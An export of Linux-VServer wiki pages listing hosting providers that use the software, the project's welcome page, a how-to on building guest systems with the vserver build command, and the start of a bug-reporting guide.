* '''"Dedicated" VPS service''' available for guaranteed minimum CPU<br />
* Comprehensive customer portal w/ VPS management and statistics<br />
|-<br />
| United States of America<br />
|-<br />
! [http://www.sns.ro SNS] <br />
System & Network Solutions<br />
| rowspan=2 |<br />
* We are using vservers in most of our setups and on hundreds of servers that offer public services - such as web, mail, dns, sql. <br />
* We also do local evangelisation for the project (just because it kicks ass). <br />
|-<br />
| Romania<br />
|-<br />
! [http://netflow.ru Sky Media]<br />
| rowspan=2 |<br />
|-<br />
| Russia<br />
|-<br />
! [http://acewebhosting.com Ace WebHosting]<br />
| rowspan=2 |<br />
* We provide affordable virtual private servers. We also use vservers for shared hosting.<br />
|-<br />
|<br />
|-<br />
! [http://www.tpg.com.au TPG Internet]<br />
| rowspan=2 |<br />
* Currently using vservers for providing Gaming services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.expio.co.nz EXPIO Communications]<br />
| rowspan=2 |<br />
* Specialising in Linux Virtual Server hosting solutions.<br />
* Running the FreeVPS platform, which is based on linux-vserver, integrated with H-Sphere control panel.<br />
* Providing virtual server hosting since 1998.<br />
|-<br />
| New Zealand<br />
|-<br />
! [http://www.hostix.it HostiX]<br />
| rowspan=2 |<br />
* Italian hosting provider has been offering the service since the early versions of vserver.<br />
* Currenly using the stable version but has beta program for the new 2.6 kernels.<br />
* High availability vservers on request too.<br />
|-<br />
| Italy<br />
|-<br />
! [http://www.virtualinfrastructure.nl Virtualinfrastructure.nl]<br />
| rowspan=2 |<br />
* Dutch consultancy and development company LinIT Technologies started a site about Linux vserver technology, also offering consultancy and support for Vserver.<br />
|-<br />
| The Netherlands<br />
|-<br />
! [http://www.virtuaserver.com.br VirtuaServer]<br />
| rowspan=2 |<br />
* Affordable virtual private servers in Brazil.<br />
* The first company in Brazil to introduce vserver hosting.<br />
* We offer our customers an exclusive control panel which allows them to monitor their servers, easily setup firewall rules and backup their data.<br />
* Running kernel 2.6 and hosting Debian, Fedora, Mandrake, Slackware, Conectiva and CentOS virtual servers.<br />
|-<br />
| Brazil<br />
|-<br />
! [http://www.neoisis.net www.neoisis.net]<br />
| rowspan=2 |<br />
* Internet service infrastructure and hosting: domain names, web sites, email systems, virtual servers. Bulk delivery for resellers. Custom-made solutions developed in cooperation with the client.<br />
* Planning and strategy for ICT organization and leadership.<br />
* Research and analysis.<br />
* Tailored systems and programming services. Functional analysis, testing, debugging.<br />
* Usability.<br />
* General ICT consulting.<br />
* Linux-VServer -based virtual servers available with several different distributions.<br />
|-<br />
| Finland<br />
|-<br />
! [http://www.prosite.de/v_server/virtual_server_uebersicht.html Prosite V-Server]<br />
| rowspan=2 |<br />
* High performance v servers on systems with constant performance monitoring<br />
* Leistungsfähige virtuelle Server mit ständiger Performance-Überwachung<br />
* Guaranteed and scalable CPU and RAM use<br />
* Web-based and automated v server administration<br />
* Online web-based VServer configuration tools (image setup, Backup, Rescue)<br />
|-<br />
| Germany<br />
|-<br />
! [http://webhosting.lycos.co.uk/expert/comparevds/ Lycos Europe]<br />
| rowspan=2 |<br />
* active cooperation with VServer project since 2004<br />
* High performance and quality VDS Solutions based on Linux-VServer Technology<br />
* low prices and free trials<br />
* Web Administration panel to monitor and use main functions of your Vserver<br />
* Control Panel to monitor your account data etc.<br />
* Hosted in professional certified datacenter in Germany<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.v-server.cz/ FinalTek.com]<br />
| rowspan=2 |<br />
* Linux kernel 2.6 based vservers / Dual Intel P4 or Xeon platform.<br />
* Providing payed vserver hosting. Starting from 9 EUR per month.<br />
* Distributions: Debian, Centos, Redhat, Fedora, Ubuntu and others on demand.<br />
* Start specs: 400MHz CPU, 192MB RAM, 5GB HDD space, unlimited traffic.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.greatnet.de/cms/front_content.php?idcat=5 Greatnet VServer]<br />
| rowspan=2 |<br />
* Linux V-Server from Greatnet with Controlpanel (Confixx) included<br />
* Virtual Server start 5,99 Euro each month<br />
* Distributions: Debian, Centos, Gentoo, Fedora, Ubuntu, OpenSuse, Slackware<br />
* Controlpanel (rescue, reinstall, reboot, bandwith usage and many more)<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.vserver-hosting.cz/ vServer-Hosting.cz]<br />
| rowspan=2 |<br />
* Linux kernel 2.6<br />
* Intel Xeon platform<br />
* Distributions: Debian, Ubuntu and others<br />
* Unlimited traffic<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.ikse.net Ikse]<br />
| rowspan=2 |<br />
* Ikse provide Virtual Dedicated Server on Debian and Fedora Core, empty, or with a free 'hosting pack'.<br />
* Convert your existing "real Linux server" to Ikse Virtual Dedicated Server is also possible.<br />
|-<br />
| France<br />
|-<br />
! [http://www.odsol.com ODSOL Premium Web Hosting]<br />
| rowspan=2 |<br />
* We specialise in [http://www.odsol.com ecommerce hosting] using virtual private server technology.<br />
* We offer both Linux-vserver [http://www.odsol.com/virtual_private_server/ virtual dedicated server] and Virtuozzo based [http://www.odsol.com/virtual_private_server/ virtual private server], Cpanel and DirectAdmin control panel included.<br />
|-<br />
|<br />
|-<br />
! [http://www.ip-cracks.ch ip-cracks GmbH]<br />
| rowspan=2 |<br />
* We offer Linux-VServers in different flavours to our customers. The product range starts with the Sandbox Private for residential customers up to the Sandbox Pro for business customers with high expectations. We have a set of new products in the queue which have a strong focus for the small and medium business companies as for an example a centralised DMS. Many services are based on the Linux-vServer technology.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.acox.de/ ACOX Corporation]<br />
| rowspan=2 |<br />
* ACOX Corporation offers low-cost virtual servers based on the linux-vserver.org project.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.winprofi.de/ WINPROFI]<br />
| rowspan=2 |<br />
* WINPROFI offers cheap virtual servers situated in Munich, Germany.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.studio-51.net/ Studio 51]<br />
Internet Solutions<br />
| rowspan=2 |<br />
* Studio 51 offers virtual servers based on the linux-vserver.org project.<br />
|-<br />
|<br />
|-<br />
! [http://www.conexim.com.au/ Conexim web hosting]<br />
| rowspan=2 |<br />
* Australian quality hosting company offering general hosting, virtual-servers and dedicated, managed hosting services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.liquidweb.com Liquid Web Inc.]<br />
| rowspan=2 |<br />
* Liquid Web uses linux-vserver to offer CPanel based hosting services. <br />
* We service hundreds of clients running linux-vserver in our Datacenter located in Lansing, Michigan (USA.)<br />
|-<br />
|<br />
|-<br />
! [http://www.electronicbox.net Electronicbox Communications]<br />
| rowspan=2 |<br />
* We are using Linux-VServer since 2001 and have test it under high load for mission critical services and Linux-VServer was definitively the best software.<br />
* We are providing secure environment with vserver to companies around the world who look for always online servers.<br />
* This is very important for us to have a good software who can process the high load of data we are having daily on the network.<br />
|-<br />
|<br />
|-<br />
! [http://www.openhosting.com/ OpenHosting, Inc.]<br />
| rowspan=2 |<br />
* Inexpensive VServer-based Virtual Servers.<br />
* Sponsors of the [http://www.openvps.org/ OpenVPS] project.<br />
* Now using kernel 2.6 and vserver 1.9.x!<br />
|-<br />
|<br />
|-<br />
! [http://www.dievo.org/ Digital Evolution] <br />
(wargames.unix.se)<br />
| rowspan=2 |<br />
* Digital Evolution is the largest wargaming-site on the net, content-wise.<br />
* We use vserver for all wargames (more than a dozen right now) and all other services as well.<br />
* The stability, ease of use and performance is unrivaled, migrating our servers to vserver is most definately one of the best decisions we've ever made. It happily serves all people (who, after all, try to break our security) logged in on our shellbased wargames and shells out hunderedes of thousands connections to other services each day.<br />
|-<br />
| Sweden<br />
|-<br />
! [http://www.nine.ch/ Nine Internet Solutions AG]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* We provide [http://nine.ch/vserver/ vServer] with own IP adress. Optionally you can choose between OpenSUSE, Fedora, Ubuntu, Gentoo or CentOS and 32bit. <br />
* On request we install LAMP with Apache, MySQL and PHP as well as ispCP as control panel. <br />
* 70 Dual-Xeon machines with several GB RAM running with Debian Lenny 64bit and linux-vserver-kernel.<br />
* We use VServer as an alternative between the shared webhosting and (managed) dedicated server.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://vps.at clusterhosting mit system]<br />
| rowspan=2 |<br />
* highavailable vps-servers on cluster<br />
* linux solutions - system, analyse & programming<br />
* docu & infos: http://vps.at<br />
* running 3 machines ( Poweredge 4x400 / 4 gb Ram )<br />
* #-> Linux pe-6300-3 2.6.18-1.2849.fc6.vs2.0.2.1 SMP<br />
|-<br />
| Austria<br />
|-<br />
! [http://AcornHosting.net Acorn Hosting]<br />
| rowspan=2 |<br />
* Running 6 machines (Mostly P4 2GHz) with vservers, various kernel versions. Since Jul '02.<br />
* Customers love vservers because they can run any software version in them, instead of getting stuck with mychoices.<br />
|-<br />
|<br />
|-<br />
! [http://www.tu-braunschweig.de/rz/services/sys/divdienst/vserver TU Braunschweig]<br />
Rechenzentrum <br />
| rowspan=2 |<br />
* Running two machines, mainly webserver for customers from inside the university.<br />
* One additional machine for a number of services i refuse to run on standalone machines because it is wasted cpu-power.<br />
* One machine for various tests and future developements.<br />
|-<br />
| Germany<br />
|<br />
|-<br />
! [http://www.lunarix.de LUNARIX]<br />
| rowspan=2 |<br />
* LUNARIX offers high quality hosting, including:<br />
* Colocation, Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, Webspace, Gameserver, Domains.<br />
* We also setup / implement HA (high availability) cluster and load-balacing solutions.<br />
|-<br />
|<br />
|-<br />
! [http://www.wwip.de W)W)ip High Quality Network]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Offering PBVSC PHP Based Interface to administrate the vservers - PBVSC is back!<br />
* Running since Nov. 2003 stable (Various versions, first we started with vs1.0 now we have 1.22 and kernel 2.4.24 running stable)<br />
* We use VServer too as an alternative between the shared webhosting and serverhousing or rent dedicated server. Customers need a flexible and stable server surroundings and vserver from this projekt is the best we seen out there. Support and community plays hand in hand, not as any commercial products out there. Any other system servers are now in his own vserver on only one big server and it works great. Lower costs on server and therefore lower IT costing. Our IT leader and IT employee in private surroundings, test and use vserver with enthusiasm ;)<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.traffic4all.com Traffic4All.com]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Server: AMD Athlon(tm) XP 2800+ - 1,5 GB DDR Ram<br />
* Linux t4a3 2.4.23-vs1.22 #12 Thu Jan 1 16:11:12 CET 2004 i686 AMD Athlon(tm) XP 2800+ AuthenticAMD GNU/Linux<br />
|-<br />
|<br />
|-<br />
! [http://www.infoteck.qc.ca Infoteck Internet]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Servers: Multiple HP LH4 (4 x XEON) and LH6000 (6 x XEON) w/ 4Gb RAM per servers.<br />
* 1.2Tb of shared storage (RAID50)<br />
* Backbone: 2 x 100Mbps backbone (Dual homing/BGP)<br />
|-<br />
| Turkey<br />
|-<br />
! [http://www.natro.com Natro Web Hosting Services]<br />
| rowspan=2 |<br />
* Offering secure Virtual Dedicated Server environments on Debian & Ubuntu hosts with several choices of guests including control panel integration<br />
* Also providing linux hosting services on linux-vserver powered servers<br />
* Clustering of mission critical services<br />
|-<br />
|<br />
|-<br />
! [http://www.omnis.com.tr Omnis Internet Services]<br />
| rowspan=2 |<br />
* We use it on our hosting servers, it gives extra security and managment for us.<br />
* It is life saver product.<br />
|-<br />
|<br />
|-<br />
! [http://www.zylon.net/ Zylon Internet Services]<br />
| rowspan=2 |<br />
* We use it on our hosting servers to provide an extra layer of security for our customers.<br />
* We do not provide full vservers, we only provide 'standard' webhosting facilities.<br />
|-<br />
|<br />
|-<br />
! [http://www.isp4p.net ISP4P]<br />
| rowspan=2 |<br />
* see also http://www.isp4player.net<br />
* Allround ISP 4 Professionals<br />
* Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, vServer Reselling, Domains<br />
|-<br />
|<br />
|-<br />
! [http://www.rootbash.com Nauck IT KG]<br />
(rootbash.com)<br />
| rowspan=2 |<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.star-hosting.de Star-Hosting]<br />
| rowspan=2 |<br />
* see also http://www.vserver4free.de<br />
* Get dedicated Servers, vServers and many more services with a very high traffic-contingent!!<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.planet-lab.org/ PlanetLab]<br />
| rowspan=2 |<br />
* PlanetLab is an open, globally distributed platform for developing, deploying and accessing planetary-scale network services.<br />
* PlanetLab nodes support both short-term experiments and long-running network services.<br />
* To date, more than 200 research projects at top academic institutions have used PlanetLab to experiment with such diverse topics as distributed storage, network mapping, peer-to-peer systems, distributed hash tables, and distributed query processing. See http://www.planet-lab.org/ for more details.<br />
|-<br />
|<br />
|-<br />
! [http://www.dsvr.co.uk/ Designer Servers Ltd]<br />
| rowspan=2 |<br />
* Offering effective Linux vserver-protected hosting to web professionals in the UK and beyond.<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.rosehosting.com Rose Web Services L.L.C.]<br />
| rowspan=2 |<br />
* Founded in April 2001, located in St. Louis, Missouri, USA, Rose Hosting provides all kinds of hosting solutions, including [http://www.rosehosting.com Linux VPS Hosting], based on Linux-VServer Technology.<br />
|-<br />
| USA<br />
|-<br />
! [http://sandino.net/ Sandino Networks]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Dual core servers hardened with GR Security <br />
* Choice of different operating systems: Gentoo, CentOS, Debian, Ubuntu, Slackware, Fedora....<br />
* Choice of different vserver sizes<br />
|-<br />
| México<br />
|-<br />
! [http://www.turnkeyinternet.net TurnKeyInternet.NET]<br />
| rowspan=2 |<br />
* Coast to Coast Datacenter replicated Linux Virtual Private Server packages that are fully mirrored providing 100% uptime.<br />
* Packages include fully managed service and support.<br />
|-<br />
|<br />
|-<br />
! [http://vlinux.biz vlinux.biz]<br />
| rowspan=2 |<br />
* vservers with RAID1/QuadCore/8GB host (512MB guaranteed)<br />
* multihomed location in germany with 4x 1 Gbit uplink.<br />
* Starting with 11.90 EUR / month for a 40GB Raid1 disk, 100 GB traffic p.M. with Gbit Connection (1 IP)<br />
* this ISP also offers a large variety of [http://www.smart-weblications.de/rootserver/ root servers] and also offers server homing.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.cityservers.net/ CityServers.Net]<br />
Dedicated Servers<br />
| rowspan=2 |<br />
* Offering dedicated servers and economic Fedora vServers hosting to IT professionals in the EU.<br />
* Packages include fully managed service and support.<br />
|-<br />
| Poland<br />
|-<br />
! [http://www.vps2go.com/ VPS2GO]<br />
| rowspan=2 |<br />
* Currenly using the stable version but will be upgraded to new 2.6 kernel + vs2.0 soon. <br />
|-<br />
| Japan<br />
|-<br />
! [http://www.net-lab.net net-lab] <br />
vserver/web-hosting<br />
| rowspan=2 |<br />
* Currently run our first testing host on kernel 2.6 + vs2.0 is running. Server Location: Frankfurt, near DE-CIX.<br />
* Commercial offer for vserver accounts soon available.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.stepping-stone.ch stepping stone GmbH]<br />
| rowspan=2 |<br />
* Our whole ISP infrastructure (Mail, Web, Directories, ...) is built upon the 2.0 vServer series on the 2.6 Linux kernel, running Gentoo Linux.<br />
* We provide [http://www.stepping-stone.ch/en/products/vserver/linux-vserver-starter/ Gentoo and Debian vServers].<br />
* iptables/netfilter rules are implemented free of charge on the carrier as part of our service.<br />
* As a speciality, you can run [http://www.asterisk.org/ Asterisk] in our vServers! <br />
* Furthermore we're specialized in providing high availability solutions in combination with [[Welcome_to_Linux-VServer.org|Linux VServer]] and [http://www.drbd.org/ DRBD].<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.vroutix.com vRoutix]<br />
| rowspan=2 |<br />
* Offering kernel 2.6 Vservers in Argentina. Compaq Xeon/Sun Ultrasparc Servers (with Raid1).<br />
* Very affordable prices.<br />
* Starter: Very low price !<br />
* Lite: Low end users<br />
* Standard: small bussiness<br />
* Pro: mid-size bussiness<br />
* Control panel to monitor your vServer performance, processes, storage, traffic, account data, etc.<br />
* vServers demo accounts for Free. Try out one of our vServers !!!.<br />
* Now with iptables support inside your vServer !!!<br />
|-<br />
| Argentina<br />
|-<br />
! [http://www.mpexnetworks.de MPeXnetworks] <br />
MPeX.net GmbH<br />
| rowspan=2 |<br />
* High performance virtual servers on RAID1 Hosts<br />
* Leistungsfähige virtuelle Server für Ihr Unternehmen.<br />
* MPeXnetworks is offering three vserver packets.<br />
* Our systems have a low customer density, resulting in more power for everyone.<br />
* Nagios monitoring and free e-mail notification is included.<br />
* All VServer offers include a 30 day money-back-guarantee.<br />
|-<br />
| Berlin/Germany<br />
|-<br />
! [http://www.sentiensystems.com SentienSystems]<br />
| rowspan=2 |<br />
* High performance, quality, and secure Virtual Private Servers<br />
* SentienSystems(.com/.net) proudly utilizes and promotes open source software such as Linux-VServer on the secure and performance-intensive Gentoo Linux platform.<br />
|-<br />
| Austin, Texas, USA<br />
|-<br />
! [http://new.pipni.cz/vindex.phtml PIPNI s.r.o]<br />
| rowspan=2 |<br />
* Linux 2.6 Vservers on Intel Xeon platform<br />
* Providing free and payed vServer hosting. Freehosting has no guarantee, payed are guaranted.<br />
* You can select from Slackware, Gentoo or Debian hosting.<br />
* Freehosting specs: 333 MHz CPU, 128 MB RAM, 2 GB HDD space, 10 GB traffic.<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.croup.de croup.de]<br />
crossmedia solutions<br />
| rowspan=2 |<br />
* We provide individual VServer installations for our customers in Germany using Gentoo Linux.<br />
|-<br />
| Germany<br />
|-<br />
! [http://hosting.media72.co.uk Media72 hosting]<br />
| rowspan=2 |<br />
* Red Hat Enterprise Linux solutions<br />
* We provide custom hosting solutions starting from £2.08 a year. Virus and spam protection as standard on all accounts.<br />
<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.centrodedatos.com Centrodedatos]<br />
Dedicated Servers / Colocation / Housing<br />
| rowspan=2 |<br />
* Dedicated Servers and Server Clusters based on Linux VServer. Totally personalized solutions.<br />
* Servidores Dedicados y Clusters de Servidores basados en Linux VServer. Soluciones a medida.<br />
<br />
|-<br />
| Spain - Barcelona.<br />
|-<br />
! [http://www.condalis.es Condalis]<br />
VPS and Shared Hosting<br />
| rowspan=2 |<br />
* Centos, Debian, Fedora, Gentoo, Mandrake, Redhat, Slackware, Suse, Ubuntu in your VPS Linux-VServer to web professionals in Spain.<br />
* Centos 5 + WHM/Cpanel + RVSkin + Fantastico available for Hosting resellers!<br />
<br />
|-<br />
| Spain - Barcelona.<br />
|-<br />
! [http://www.upfrontsystems.co.za/hosting/ploneserver Upfront Systems]<br />
| rowspan="2" |<br />
* Servers in Germany and South Africa<br />
* Debian stable hosts based on linux vserver<br />
* Dedicated (but not limited to) Zope and Plone hosting<br />
<br />
|-<br />
| South Africa<br />
|-<br />
! [http://www.notjusthosting.com NotJustHosting]<br />
NotJustHosting<br />
| rowspan="2" |<br />
* Servers in Germany<br />
* Debian stable hosts based on linux vserver, individual solutions<br />
* Fully managed and self-managed packages<br />
* Ruby on Rails, Zope<br />
|-<br />
| Germany - Berlin<br />
|-<br />
! [http://vege.net/vserver vege.net GmbH]<br />
web-hosting / vserver <br />
| rowspan="2" |<br />
* Linux VServer hosting including OpenVCP, DRBD, LVM snapshots<br />
* Servers located in Germany<br />
|-<br />
| Germany - Bremen<br />
|-<br />
<br />
! [http://www.netcup.de/vserver/ netcup vServer]<br />
| rowspan=2 |<br />
* Guaranteed CPU and RAM availability<br />
* Web-based account administration<br />
* On-the-fly web-based VServer configuration tools<br />
* Prepared Images with SysCP or Confixx<br />
* Rescue-System<br />
* Firewall<br />
* Backup- / Snapshot-System (Backup / Restore per Click)<br />
|-<br />
| Germany - Karlsruhe<br />
|-<br />
<br />
! [http://www.webhost-direkt.de/ Webhost-Direkt]<br />
| rowspan=2 |<br />
* Webhosting<br />
* Webspace<br />
* vserver<br />
* Reseller<br />
* Domainrobot<br />
* Managed Hosting<br />
|-<br />
| Germany - Heilbronn<br />
|-<br />
<br />
! [http://www.vserver.si Vserver.si]<br />
| rowspan="2" |<br />
* Virtual Private Servers<br />
* Managed Servers<br />
* Hosting<br />
* Domain registration<br />
* Colocation<br />
<br />
|-<br />
| Slovenia<br />
|- <br />
<br />
! [http://www.alvotech.de/vserver/ Alvotech GmbH - vServer]<br />
| rowspan=2 |<br />
* Guaranteed RAM and CPU availability<br />
* Fully Online administration<br />
* On-the-fly web-based VServer configuration tools <br />
* Prepared Images with Confixx<br />
* Firewall<br />
|-<br />
| Germany - Düsseldorf<br />
|-<br />
<br />
<br />
! [http://www.topnetworks.de Topnetworks e.K.]<br />
| [http://www.topnetworks.de/vserver.html Linux VServer]<br />
* Linux Kernel 2.6 based vServers<br />
* Fully Online administration<br />
* Hosted in professional certified datacenter in Germany<br />
* Distributions: Debian, Ubuntu, RedHat, Fedora Core, CentOS, Asterisk<br />
* Firewall<br />
* Providing payed vserver hosting. Starting from 1.99 EUR per month.<br />
* Supported Linux VServer project since 2007<br />
|-<br />
| Germany - Düsseldorf<br />
|-<br />
<br />
! [http://www.toile-libre.org Toile-libre ! ]<br />
| rowspan=2 |<br />
* Non profit Organization offering Vservers with 256Mo of RAM, 10Go of Disk, 1 IPv4 address (IPv6 planned), a guaranteed part of the CPUs ...<br />
* ... at free price (you decide how much you want/can pay) !<br />
* Hosted by http://as48920.net in France ; Contact us by mail: contact@toile-libre.org ;<br />
|-<br />
| France<br />
|-<br />
<br />
! [http://www.acens.com/cloud/ Cloud Hosting Acens ]<br />
| rowspan=2 |<br />
* High-performance solutions for dedicated servers. Virtualization. Private Cloud, public cloud and cloud hybrid.<br />
* Data Center in Spain.<br />
|-<br />
| Spain<br />
|-<br />
<br />
! [http://www.hostalia.com/vps/ Hostalia ]<br />
| rowspan=2 |<br />
* Virtual Private Server with LInux. And Hyper-V Virtual solutions.<br />
* Data Center in Spain.<br />
|-<br />
| Spain<br />
|-<br />
<br />
|}</div>Daniel hozachttp://svn.linux-vserver.org/Welcome_to_Linux-VServer.orgWelcome to Linux-VServer.org2011-03-17T14:44:47Z<p>Daniel hozac: put recent patches first</p>
<hr />
<div>Linux-VServer provides virtualization for GNU/Linux systems. This is accomplished by kernel level isolation. It allows to run multiple virtual units at once. Those units are sufficiently isolated to guarantee the required security, but utilize available resources efficiently, as they run on the same kernel.<br />
<br />
This site contains information relating to the use and development of virtual servers based on Linux-VServer. This particular virtual server model is implemented through a combination of "security contexts", segmented routing, chroot, extended quotas and some other standard tools.<br />
<br />
'''Note:''' If this isn't what you are looking for, maybe [http://www.linuxvirtualserver.org/ Linux Virtual Server] is.<br />
<br />
=== Experimental Patches ===<br />
{{ExperimentalPatchTableMatrix}}<br />
<br />
(note: The experimental patch table is automatically updated every hour from '''[http://vserver.13thfloor.at/Experimental/ http://vserver.13thfloor.at/Experimental/]'''<br> and there is a mirror of recent patches at [http://repo.coresec.de/linux-vserver http://repo.coresec.de/linux-vserver] which updates once a day at midnight)<br />
<br />
<br />
{{CurrentPatchTableMatrix}}<br />
<br />
<br />
<div style="margin: 2em auto 2em auto; padding: 10px; background-color: #F9ECCD; border: 1px solid #004433; text-align: center;"><br />
[[Image:Icon-Caution.png|left]]<br />
We are currently migrating from our old Wiki to MediaWiki, but not all content has been migrated yet. Take a look at the [[Wiki Team]] page for instructions how to help or look at the [http://oldwiki.linux-vserver.org old wiki] to find the information not migrated yet.<br />
</div><br />
<br />
=== Tools ===<br />
{{UtilVServerTableMatrix}}<br />
<br />
<!-- === Latest News === {{News}} --></div>Daniel hozachttp://svn.linux-vserver.org/Building_Guest_SystemsBuilding Guest Systems2011-03-01T10:39:03Z<p>Daniel hozac: This is a best practices page. "It kinda worked once" does not fit.</p>
<hr />
<div>== Building a guest ==<br />
<br />
There are three parts to the <code>vserver ... build</code> command. Each part is separated by <code>--</code>. The first part are generic vserver options, such as hostname, available IP-addresses, and context id. The second part is specific to the chosen build method (by <code>-m <method></code> in the first part). The third part is completely optional and only implemented for a few build methods. These are options passed directly to whatever application is used to build guest.<br />
<br />
There are a lot of options not covered here (yet). Use <code>vserver - build --help</code> to see them all.<br />
<br />
=== Building guests using the debootstrap build method ===<br />
'''''(applies to Debian, Ubuntu,...)'''''<br />
* Build a Debian lenny guest using the ftp.de.debian.org mirror.<br />
vserver vserver1 build \<br />
-m debootstrap --[[context]] 42 \<br />
--hostname vserver1.mydomain.com \<br />
--interface eth0:192.168.1.10/24 \<br />
-- -d lenny -m http://ftp.de.debian.org/debian<br />
lenny can be replaced by e.g. etch for Debian etch, edgy for Ubuntu edgy, or sid for Debian sid. Anything your debootstrap version can handle will be fine.<br />
<br />
If you want to build a 32-bit guest on a 64-bit host, append <code>-- --arch i386</code> to the above command line. The same applies to other additional debootstrap options: place them after a second <code>--</code>. Likewise, in case your host architecture does not match one available in Debian by default, add your architecture in the same way. E.g. you might need to add <code>-- --arch amd64</code> to create a 64-bit Debian guest on a Gentoo host.<br />
<br />
Please note that <code>vserver...pkgmgmt</code> has has no use on Debian guests: package management is internalized by default and cannot be externalized. To externalize package management on Debian vserver guests, you have to create the guest using the <code>newvserver</code> command from the <code>vserver-debiantools</code> Debian package (see the <code>--pkgcache</code> option). Note that newvserver is considered obsolete and only suited for those who want to foot themselves in shoot.<br />
<br />
<br />
=== Building guests using the yum build method ===<br />
'''''(applies to Fedora, Centos, RHEL,...)'''''<br />
* Make sure that your host system already has yum installed, preferably one that has been patched to work better with chroots.<br />
<br />
* Build a CentOS 5-based guest using a minimal set of packages.<br />
vserver vserver2 build -m yum --[[context]] 42 \<br />
--hostname vserver2.mydomain.com \<br />
--interface eth0:192.168.1.11/24 -- -d centos5<br />
centos5 can be replaced by e.g. f8 for Fedora 8, or fc6 for Fedora 6.<br />
<br />
If you want to build a 32-bit guest on a 64-bit, prepend <code>linux32</code> to this and subsequent yum commands.<br />
<br />
* If you want to manage the packages inside the guest, you will have to install some package management program(s) as well as internalize the RPM database. This can be achieved by<br />
vyum vserver2 -- install yum<br />
vserver vserver2 pkgmgmt internalize<br />
Internal package management means that commands such as rpm, yum and rpmbuild can be used from inside the guest, as opposed to requiring the host administrator to run vrpm or vyum. If you use rpmbuild, you'll need internal package management, or use --nodeps (but that's ''strongly'' discouraged).<br />
<br />
* Depending on your host's/guest's distribution, you may also need to do<br />
vserver vserver2 exec bash -c "rm -f /var/lib/rpm/__db*; rpm --rebuilddb"<br />
This is required if every rpm operation, for example ''rpm -qa'', complains about a database version mismatch.<br />
<br />
=== Building guests using the template build method ===<br />
'''''(applies to Gentoo,...)'''''<br />
<br />
A template is a file containing a complete guest filesystem. This can be a tar(1)ball, a cpio(1)-archive, or a dump(8). It can be compressed using either gzip or bzip2. Multiple templates can be used, to do e.g. guest-specific modifications.<br />
<br />
* Build a guest using a single template named stage4-i686-20070905.tar.bz2 located in /vservers/.templates.<br />
vserver vserver3 build -m template \<br />
--[[context]] 42 --hostname vserver3.mydomain.com \<br />
--interface eth0:192.168.1.12/24 \<br />
--initstyle gentoo -- -d gentoo \<br />
-t /vservers/.templates/stage4-i686-20070905.tar.bz2<br />
<br />
'''OR'''<br />
<br />
* Build a guest using multiple templates, one named stage4-i686-20070905.tar.bz2 and one named httpd.tar.bz2.<br />
vserver vserver3 build -m template \<br />
--[[context]] 42 --hostname vserver3.mydomain.com \<br />
--interface eth0:192.168.1.12/24 \<br />
--initstyle gentoo -- -d gentoo \<br />
-t /vservers/.templates/stage4-i686-20070905.tar.bz2 \<br />
-t /vservers/.templates/httpd.tar.bz2<br />
<br />
=== Building guests using the rsync build method ===<br />
<br />
The rsync build method can be used to move a guest from one system to another. It is preferable for most guest distributions if the source guest is stopped when you create a one based on it, but it's not strictly required.<br />
<br />
* Build a guest by rsync'ing from vserver3 on host1.<br />
RSYNC_RSH=ssh<br />
vserver vserver4 build -m rsync --[[context]] 42 \<br />
--hostname vserver4.mydomain.com \<br />
--interface eth0:192.168.1.13/24 \<br />
-- --source root@host1:/vservers/vserver3<br />
<br />
'''OR'''<br />
<br />
* Build a guest by rsync'ing from vserver1 on the same host.<br />
vserver vserver4 build -m rsync --[[context]] 42 --hostname vserver4.mydomain.com --interface eth0:192.168.1.13/24 -- --source vserver1<br />
<br />
=== Building guests using the clone build method ===<br />
<br />
The clone build method copies the filesystem from one guest to another, much like the rsync build method, but the thing that separates it is that it knows about unified/hashified files. This means that it only creates new links for such files, and copies the rest, which can lead to significantly speedier builds.<br />
<br />
* Build a guest by using vserver4 as a reference.<br />
vserver vserver5 build -m clone --hostname vserver5.mydomain.com --interface eth0:192.168.1.14/24 -- --source /vservers/vserver4<br />
<br />
== Post-build customization ==<br />
<br />
== Verifying guest functionality ==<br />
<br />
* Once the guest is built, it's time to start it.<br />
vserver vserverX start<br />
<br />
* At this point, you can use both<br />
vserver vserverX enter<br />
and<br />
vserver vserverX exec ...<br />
to do things inside the guest.<br />
<br />
* To stop it, simply use<br />
vserver vserverX stop<br />
<br />
== How to remove a screwed up vserver ==<br />
<br />
* To to remove a screwed up vserver<br />
vserver vserverX delete<br />
<br />
== See also ==<br />
* [[Installing Ubuntu on Debian]]<br />
* [[Installing 32-bit Fedora on 64-bit Debian]]</div>Daniel hozachttp://svn.linux-vserver.org/Report_a_BugReport a Bug2010-11-01T23:20:14Z<p>Daniel hozac: Fix testfs invocation</p>
<hr />
<div>__NOTOC__<br />
<br />
There is a large number of Linux-VServer users. There is a much small number of people who actually develop Linux-VServer and fix bugs.<br />
<br />
What does this mean for you, an aspiring bug reporter? In order to catch the eye of one of these few volunteers, you'll need to take to heart a few tips on how to report a bug so that they can and will help you.<br />
<br />
By following these guidelines, you can help ensure that your bugs stay at the top of the developers' heap, and get fixed.<br />
<br />
== How to report bugs ==<br />
<br />
